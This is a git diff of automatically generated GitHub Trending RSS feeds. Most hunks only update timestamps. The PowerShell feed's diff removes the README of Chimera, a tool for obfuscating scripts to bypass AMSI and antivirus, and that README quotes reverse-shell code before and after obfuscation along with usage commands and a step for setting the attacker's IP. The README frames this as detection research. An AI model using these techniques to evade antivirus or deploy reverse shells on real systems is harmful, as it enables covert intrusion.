index 90a4852fd2c..99e5f3d92d1 100644
--- a/oxygene/daily/index.xml
+++ b/oxygene/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Oxygene Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:52Z
+ 2024-01-04T01:35:44ZDaily Trending of Oxygene in GitHub
\ No newline at end of file
diff --git a/oz/daily/index.xml b/oz/daily/index.xml
index c1dd1deda6e..a5726dcaff5 100644
--- a/oz/daily/index.xml
+++ b/oz/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Oz Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:53Z
+ 2024-01-04T01:35:45ZDaily Trending of Oz in GitHub
\ No newline at end of file
diff --git a/p4/daily/index.xml b/p4/daily/index.xml
index 449b4e82dec..0e4da536165 100644
--- a/p4/daily/index.xml
+++ b/p4/daily/index.xml
@@ -1,7 +1,7 @@
GitHub P4 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:56Z
+ 2024-01-04T01:35:46ZDaily Trending of P4 in GitHub
\ No newline at end of file
diff --git a/pan/daily/index.xml b/pan/daily/index.xml
index f300f382147..ead692251bc 100644
--- a/pan/daily/index.xml
+++ b/pan/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pan Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:57Z
+ 2024-01-04T01:35:47ZDaily Trending of Pan in GitHub
\ No newline at end of file
diff --git a/papyrus/daily/index.xml b/papyrus/daily/index.xml
index 4fa959a9f60..737d71b21cd 100644
--- a/papyrus/daily/index.xml
+++ b/papyrus/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Papyrus Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:58Z
+ 2024-01-04T01:35:47ZDaily Trending of Papyrus in GitHub
\ No newline at end of file
diff --git a/parrot-assembly/daily/index.xml b/parrot-assembly/daily/index.xml
index 75ba2ff65e1..c08989e4a22 100644
--- a/parrot-assembly/daily/index.xml
+++ b/parrot-assembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Parrot Assembly Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:01Z
+ 2024-01-04T01:35:49ZDaily Trending of Parrot Assembly in GitHub
\ No newline at end of file
diff --git a/parrot-internal-representation/daily/index.xml b/parrot-internal-representation/daily/index.xml
index 862fca05943..81a5968ee8c 100644
--- a/parrot-internal-representation/daily/index.xml
+++ b/parrot-internal-representation/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Parrot Internal Representation Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:00Z
+ 2024-01-04T01:35:51ZDaily Trending of Parrot Internal Representation in GitHub
\ No newline at end of file
diff --git a/parrot/daily/index.xml b/parrot/daily/index.xml
index 4840e52699b..0c8c533a402 100644
--- a/parrot/daily/index.xml
+++ b/parrot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Parrot Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:59Z
+ 2024-01-04T01:35:50ZDaily Trending of Parrot in GitHub
\ No newline at end of file
diff --git a/pascal/daily/index.xml b/pascal/daily/index.xml
index a93376ee032..b14f97398d4 100644
--- a/pascal/daily/index.xml
+++ b/pascal/daily/index.xml
@@ -1,21 +1,14 @@
GitHub Pascal Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:02Z
+ 2024-01-04T01:35:52ZDaily Trending of Pascal in GitHub
- Codrax/mspaint-rewritten
- 2024-01-03T01:35:02Z
- tag:github.com,2024-01-03:/Codrax/mspaint-rewritten
-
- <p>The Windows 10 version Microsoft Paint rewritten in Delphi</p><hr>
-
-
- landgraf-dev/aws-sdk-delphi-samples
- 2024-01-03T01:35:02Z
- tag:github.com,2024-01-03:/landgraf-dev/aws-sdk-delphi-samples
-
- <p>Sample projects using AWS (Amazon Web Services) SDK for Delphi</p><hr>
+ salvadordf/WebUI4Delphi
+ 2024-01-04T01:35:52Z
+ tag:github.com,2024-01-04:/salvadordf/WebUI4Delphi
+
+ <p>WebUI4Delphi is a WebUI wrapper, which allows you to use any web browser as a GUI, with Delphi in the backend and HTML5 in the frontend.</p><hr>
\ No newline at end of file
diff --git a/pawn/daily/index.xml b/pawn/daily/index.xml
index d6342509559..ef55012450e 100644
--- a/pawn/daily/index.xml
+++ b/pawn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pawn Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:03Z
+ 2024-01-04T01:35:55ZDaily Trending of Pawn in GitHub
\ No newline at end of file
diff --git a/peg.js/daily/index.xml b/peg.js/daily/index.xml
index 7edf47ca019..2d32da80761 100644
--- a/peg.js/daily/index.xml
+++ b/peg.js/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PEG.js Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:05Z
+ 2024-01-04T01:35:54ZDaily Trending of PEG.js in GitHub
\ No newline at end of file
diff --git a/pep8/daily/index.xml b/pep8/daily/index.xml
index f2416195441..4e5b6185795 100644
--- a/pep8/daily/index.xml
+++ b/pep8/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pep8 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:05Z
+ 2024-01-04T01:35:53ZDaily Trending of Pep8 in GitHub
\ No newline at end of file
diff --git a/perl/daily/index.xml b/perl/daily/index.xml
index 16a77a18d48..1ae1f3482a6 100644
--- a/perl/daily/index.xml
+++ b/perl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Perl Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:12Z
+ 2024-01-04T01:36:05ZDaily Trending of Perl in GitHub
\ No newline at end of file
diff --git a/php/daily/index.xml b/php/daily/index.xml
index b442218aaf9..1e4bdc55cbb 100644
--- a/php/daily/index.xml
+++ b/php/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PHP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:20Z
+ 2024-01-04T01:36:01ZDaily Trending of PHP in GitHub
\ No newline at end of file
diff --git a/pic/daily/index.xml b/pic/daily/index.xml
index f6466570bbd..64be8150112 100644
--- a/pic/daily/index.xml
+++ b/pic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pic Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:07Z
+ 2024-01-04T01:35:56ZDaily Trending of Pic in GitHub
\ No newline at end of file
diff --git a/pickle/daily/index.xml b/pickle/daily/index.xml
index a9d032d135b..e70b9ad8ebf 100644
--- a/pickle/daily/index.xml
+++ b/pickle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pickle Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:07Z
+ 2024-01-04T01:35:57ZDaily Trending of Pickle in GitHub
\ No newline at end of file
diff --git a/picolisp/daily/index.xml b/picolisp/daily/index.xml
index 863d7ba1b96..a5f5cff6521 100644
--- a/picolisp/daily/index.xml
+++ b/picolisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PicoLisp Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:25Z
+ 2024-01-04T01:36:12ZDaily Trending of PicoLisp in GitHub
\ No newline at end of file
diff --git a/piglatin/daily/index.xml b/piglatin/daily/index.xml
index 3b126faa452..51648d511ad 100644
--- a/piglatin/daily/index.xml
+++ b/piglatin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PigLatin Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:26Z
+ 2024-01-04T01:36:11ZDaily Trending of PigLatin in GitHub
\ No newline at end of file
diff --git a/pike/daily/index.xml b/pike/daily/index.xml
index 670abfc04af..b50deaf4d6e 100644
--- a/pike/daily/index.xml
+++ b/pike/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pike Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:27Z
+ 2024-01-04T01:36:12ZDaily Trending of Pike in GitHub
\ No newline at end of file
diff --git a/plantuml/daily/index.xml b/plantuml/daily/index.xml
index 29c274e4058..96a065d2eca 100644
--- a/plantuml/daily/index.xml
+++ b/plantuml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PlantUML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:26Z
+ 2024-01-04T01:36:10ZDaily Trending of PlantUML in GitHub
\ No newline at end of file
diff --git a/plpgsql/daily/index.xml b/plpgsql/daily/index.xml
index 70aac6f9253..3de03c955b1 100644
--- a/plpgsql/daily/index.xml
+++ b/plpgsql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PLpgSQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:31Z
+ 2024-01-04T01:36:16ZDaily Trending of PLpgSQL in GitHub
\ No newline at end of file
diff --git a/plsql/daily/index.xml b/plsql/daily/index.xml
index 304ea4abc29..c8b77880617 100644
--- a/plsql/daily/index.xml
+++ b/plsql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PLSQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:30Z
+ 2024-01-04T01:36:14ZDaily Trending of PLSQL in GitHub
\ No newline at end of file
diff --git a/pod-6/daily/index.xml b/pod-6/daily/index.xml
index 6f2c52125e5..8530522c227 100644
--- a/pod-6/daily/index.xml
+++ b/pod-6/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pod 6 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:28Z
+ 2024-01-04T01:36:13ZDaily Trending of Pod 6 in GitHub
\ No newline at end of file
diff --git a/pod/daily/index.xml b/pod/daily/index.xml
index a71b517d119..675f1d45995 100644
--- a/pod/daily/index.xml
+++ b/pod/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pod Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:29Z
+ 2024-01-04T01:36:15ZDaily Trending of Pod in GitHub
\ No newline at end of file
diff --git a/pogoscript/daily/index.xml b/pogoscript/daily/index.xml
index 93fa713c529..8923e840019 100644
--- a/pogoscript/daily/index.xml
+++ b/pogoscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PogoScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:32Z
+ 2024-01-04T01:36:17ZDaily Trending of PogoScript in GitHub
\ No newline at end of file
diff --git a/pony/daily/index.xml b/pony/daily/index.xml
index cfd6dbefba3..c4e6d49e11a 100644
--- a/pony/daily/index.xml
+++ b/pony/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pony Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:32Z
+ 2024-01-04T01:36:17ZDaily Trending of Pony in GitHub
\ No newline at end of file
diff --git a/postcss/daily/index.xml b/postcss/daily/index.xml
index c2cc51d3364..96887977a7c 100644
--- a/postcss/daily/index.xml
+++ b/postcss/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PostCSS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:36Z
+ 2024-01-04T01:36:20ZDaily Trending of PostCSS in GitHub
\ No newline at end of file
diff --git a/postscript/daily/index.xml b/postscript/daily/index.xml
index fca1b8f7487..886a6aa8a2a 100644
--- a/postscript/daily/index.xml
+++ b/postscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PostScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:36Z
+ 2024-01-04T01:36:22ZDaily Trending of PostScript in GitHub
\ No newline at end of file
diff --git a/pov-ray-sdl/daily/index.xml b/pov-ray-sdl/daily/index.xml
index 07eebabaf73..4b8cf941d83 100644
--- a/pov-ray-sdl/daily/index.xml
+++ b/pov-ray-sdl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub POV-Ray SDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:37Z
+ 2024-01-04T01:36:20ZDaily Trending of POV-Ray SDL in GitHub
\ No newline at end of file
diff --git a/powerbuilder/daily/index.xml b/powerbuilder/daily/index.xml
index 82bf394dd2b..91f51e567c2 100644
--- a/powerbuilder/daily/index.xml
+++ b/powerbuilder/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PowerBuilder Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:35Z
+ 2024-01-04T01:36:21ZDaily Trending of PowerBuilder in GitHub
\ No newline at end of file
diff --git a/powershell/daily/index.xml b/powershell/daily/index.xml
index 950af3758d7..11a44ccbdf2 100644
--- a/powershell/daily/index.xml
+++ b/powershell/daily/index.xml
@@ -1,21 +1,14 @@
GitHub PowerShell Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:42Z
+ 2024-01-04T01:36:26ZDaily Trending of PowerShell in GitHub
- tokyoneon/Chimera
- 2024-01-03T01:35:42Z
- tag:github.com,2024-01-03:/tokyoneon/Chimera
-
- <p>Chimera is a PowerShell obfuscation script designed to bypass AMSI and commercial antivirus solutions.</p><hr><p>Chimera is a (shiny and very hack-ish) PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.</p>
<p><img src="https://raw.githubusercontent.com/tokyoneon/Chimera/master/images/chimera.gif" alt=""></p>
<p>Chimera was created for <a href="https://null-byte.com/bypass-amsi-0333967/">this write-up</a> and is <a href="https://github.com/tokyoneon/Chimera#resources">further evidence</a> of how trivial it is to bypass detection signatures. Hopefully, this repository will inspire someone to build something robust and more reliable.</p>
<h2>How Chimera works...</h2>
<p>Below is a snippet of Nishang's <a href="https://raw.githubusercontent.com/tokyoneon/Chimera/master/shells/Invoke-PowerShellTcp.ps1">Invoke-PowerShellTcp.ps1</a>, found at <a href="https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcp.ps1">nishang/Shells</a>. VirusTotal reports <a href="https://www.virustotal.com/gui/file/0f1e223eaf8b6d71f65960f8b9e14c98ba62e585334a6349bcd02216f4415868/detection">25 detections</a> of the PS1 script.</p>
<pre><code class="language-powershell">$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
</code></pre>
<p><img src="https://raw.githubusercontent.com/tokyoneon/Chimera/master/images/chimera-01.png" alt=""></p>
<p>And here it is again, after Chimera. VirusTotal reports <a href="https://www.virustotal.com/gui/file/74a47198fefa10a8ebb88a8b130259e56a5a9fc4302089ac73009742ba5c98dc/detection">0 detections</a> of the obfuscated version.</p>
<pre><code class="language-powershell"> # Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the stationโs equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Lukeโs boyhood friend Biggs, in ship-to-ship combat.
# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Benโs disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leiaโs ship is subdued.
</code></pre>
<p><img src="https://raw.githubusercontent.com/tokyoneon/Chimera/master/images/chimera-02.png" alt=""></p>
<p>Chimera does several things to obfuscate the source. The <code>transformer</code> function will separate strings into multiple pieces and reconstruct them as new variables.</p>
<p>For example, it will take a string like <code>... New-Object System.Net.Sockets.TCPClient ...</code> and convert it to:</p>
<pre><code class="language-powershell">$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"
... New-Object $a$b$c$d ...
</code></pre>
<p>The function separates commonly flagged data types and strings into several chunks. It defines the chunks and concatenates them at the top of the script. A higher <code>--level</code> will result in smaller chunks and more variables.</p>
<pre><code class="language-powershell">$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN
</code></pre>
<h2>Usage</h2>
<p>Clone the repository. Tested in Kali v2020.3.</p>
<pre><code>sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
</code></pre>
<p>Basic usage.</p>
<pre><code>./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
</code></pre>
<p>Review the <a href="https://raw.githubusercontent.com/tokyoneon/Chimera/master/USAGE.md">usage guide</a> and <a href="https://null-byte.com/bypass-amsi-0333967/">write-up</a> for more examples and screenshots.</p>
<h2>Shells</h2>
<p>In the <code>shells/</code> directory are several Nishang scripts and a few generic ones. All have been tested and should work fine. But there's no telling how untested scripts will reproduce with Chimera...</p>
<p>Change the hardcoded IP addresses.</p>
<pre><code>sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
</code></pre>
<pre><code>ls -laR shells/
shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1
shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1
</code></pre>
<h2>Resources</h2>
<ul>
<li>
<ul>
<li><a href="https://github.com/danielbohannon/Invoke-Obfuscation">Invoke-Obfuscation</a></li>
</ul> </li>
<li>
<ul>
<li><a href="https://github.com/RythmStick/AMSITrigger">AMSITrigger</a></li>
</ul> </li>
<li>
<ul>
<li><a href="https://github.com/cobbr/PSAmsi">PSAmsi</a></li>
</ul> </li>
<li>
<ul>
<li><a href="https://amsi.fail/">amsi.fail</a></li>
</ul> </li>
<li>
<ul>
<li><a href="https://github.com/trustedsec/unicorn">Unicorn</a></li>
</ul> </li>
<li>
<ul>
<li><a href="https://www.wolfandco.com/insight/behind-enemy-lines-pen-tester%E2%80%99s-take-evading-amsi">www.wolfandco.com</a></li>
</ul> </li>
</ul>
-
-
- Azure/PSDocs.Azure
- 2024-01-03T01:35:42Z
- tag:github.com,2024-01-03:/Azure/PSDocs.Azure
-
- <p>Generate documentation from Azure infrastructure as code (IaC) artifacts.</p><hr><h1>PSDocs for Azure</h1>
<p>Generate markdown from Azure infrastructure as code (IaC) artifacts.</p>
<p><img src="https://dev.azure.com/PSDocs/PSDocs.Azure/_apis/build/status/PSDocs.Azure-CI?branchName=main" alt="ci-badge"></p>
<p>Features of PSDocs for Azure include:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/overview.md#ready-to-go">Ready to go</a> - Use pre-built templates.</li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/overview.md#devops">DevOps</a> - Generate within a continuous integration (CI) pipeline.</li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/overview.md#cross-platform">Cross-platform</a> - Run on MacOS, Linux, and Windows.</li>
</ul>
<h2>Support</h2>
<p>This project uses GitHub Issues to track bugs and feature requests. Please search the existing issues before filing new issues to avoid duplicates.</p>
<ul>
<li>For new issues, file your bug or feature request as a new <a href="https://github.com/Azure/PSDocs.Azure/issues">issue</a>.</li>
<li>For help, discussion, and support questions about using this project, join or start a <a href="https://github.com/Azure/PSDocs.Azure/discussions">discussion</a>.</li>
</ul>
<p>If you have any problems with the <a href="https://github.com/microsoft/PSDocs">PSDocs</a> engine, please check the project GitHub <a href="https://github.com/microsoft/PSDocs/issues">issues</a> page instead.</p>
<p>Support for this project/ product is limited to the resources listed above.</p>
<h2>Getting the modules</h2>
<p>This project requires the <code>PSDocs</code> PowerShell module. For details on each see <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/install-instructions.md">install</a>.</p>
<p>You can download and install these modules from the PowerShell Gallery.</p>
<table>
<thead>
<tr>
<th>Module</th>
<th>Description</th>
<th>Downloads / instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>PSDocs.Azure</td>
<td>Generate documentation from Azure infrastructure as code (IaC) artifacts.</td>
<td><a href="https://www.powershellgallery.com/packages/PSDocs.Azure">latest</a> / <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/install-instructions.md">instructions</a></td>
</tr>
</tbody>
</table>
<h2>Getting started</h2>
<p>The follow example uses PSDocs for Azure to generate markdown from an Azure template. The source template and generated output are provided below.</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/templates/storage/v1/template.json">Azure template</a></li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/templates/storage/v1/README.md">Output markdown</a></li>
</ul>
<p>For frequently asked questions, see the <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/overview.md#frequently-asked-questions-faq">FAQ</a>.</p>
<h3>Annotate templates files</h3>
<p>In its simplest structure, an Azure template has the following elements:</p>
<pre><code class="language-json">{
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"parameters": { },
"variables": { },
"functions": [ ],
"resources": [ ],
"outputs": { }
}
</code></pre>
<p>Additionally a <code>metadata</code> property can be added in most places throughout the template. For example:</p>
<pre><code class="language-json">{
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"metadata": {
"name": "Storage Account",
"description": "Create or update a Storage Account."
},
"parameters": {
"storageAccountName": {
"type": "string",
"metadata": {
"description": "The name of the Storage Account."
}
},
"tags": {
"type": "object",
"metadata": {
"description": "Tags to apply to the resource.",
"example": {
"service": "<service_name>",
"env": "prod"
}
}
}
},
"resources": [
],
"outputs": {
"resourceId": {
"type": "string",
"value": "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]",
"metadata": {
"description": "A unique resource identifier for the storage account."
}
}
}
}
</code></pre>
<p>This metadata and the template structure itself can be used to dynamically generate documentation. Documenting templates in this way allows you to:</p>
<ul>
<li>Include meaningful information with minimal effort.</li>
<li>Use DevOps culture to author infrastructure code and documentation side-by-side.
<ul>
<li>Review pull requests (PR) with changes and documentation together.</li>
<li>Use continuous integration and deployment to release changes.</li>
</ul> </li>
<li>Keep documentation up-to-date. No separate wiki or document to keep in sync.</li>
</ul>
<p>PSDocs interprets the template structure and metadata to generate documentation as markdown. Generating documentation as markdown allows you to publish web-based content on a variety of platforms.</p>
<p>PSDocs supports the following metadata:</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Scope</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>name</code></td>
<td>Template</td>
<td><code>string</code></td>
<td>Used for markdown page title.</td>
</tr>
<tr>
<td><code>summary</code></td>
<td>Template</td>
<td><code>string</code></td>
<td>Used as a short description for the markdown page.</td>
</tr>
<tr>
<td><code>description</code></td>
<td>Template</td>
<td><code>string</code></td>
<td>Used as a detailed description for the markdown page.</td>
</tr>
<tr>
<td><code>description</code></td>
<td>Parameter</td>
<td><code>string</code></td>
<td>Used as the description for the parameter.</td>
</tr>
<tr>
<td><code>example</code></td>
<td>Parameter</td>
<td><code>string</code>, <code>boolean</code>, <code>object</code>, or <code>array</code></td>
<td>An example use of the parameter. The example is included in the JSON snippet. If an example is not included the default value is used instead.</td>
</tr>
<tr>
<td><code>ignore</code></td>
<td>Parameter</td>
<td><code>boolean</code></td>
<td>When <code>true</code> the parameter is not included in the JSON snippet.</td>
</tr>
<tr>
<td><code>description</code></td>
<td>Output</td>
<td><code>string</code></td>
<td>Used as the description for the output.</td>
</tr>
</tbody>
</table>
<p>An example of an Azure Storage Account template with metadata included is available <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/templates/storage/v1/template.json">here</a>.</p>
<h3>Running locally</h3>
<p>To run PSDocs for Azure locally use the <code>Invoke-PSDocument</code> cmdlet.</p>
<pre><code class="language-powershell"># Import module
Import-Module PSDocs.Azure;
# Generate markdown
Invoke-PSDocument -Module PSDocs.Azure -InputObject '<template_file_path>' -OutputPath out/docs/;
</code></pre>
<p>This will generate a <code>README.md</code> in out/docs directory with the generated markdown (also creates out/docs/ directory if it does not exist).</p>
<h3>Scanning for templates</h3>
<p>To scan for templates in a directory the <code>Get-AzDocTemplateFile</code> cmdlet can be used.</p>
<pre><code class="language-powershell"># Import module
Import-Module PSDocs.Azure;
# Scan for Azure template file recursively in the templates/ directory
Get-AzDocTemplateFile -Path templates/ | ForEach-Object {
# Generate a standard name of the markdown file. i.e. <name>_<version>.md
$template = Get-Item -Path $_.TemplateFile;
$templateName = $template.Directory.Parent.Name;
$version = $template.Directory.Name;
$docName = "$($templateName)_$version";
# Generate markdown
Invoke-PSDocument -Module PSDocs.Azure -OutputPath out/docs/ -InputObject $template.FullName -InstanceName $docName;
}
</code></pre>
<p>In this example template files are stored in a directory structure such as <code>templates/<name>/<version>/template.json</code>. i.e. <code>templates/storage/v1/template.json</code>.</p>
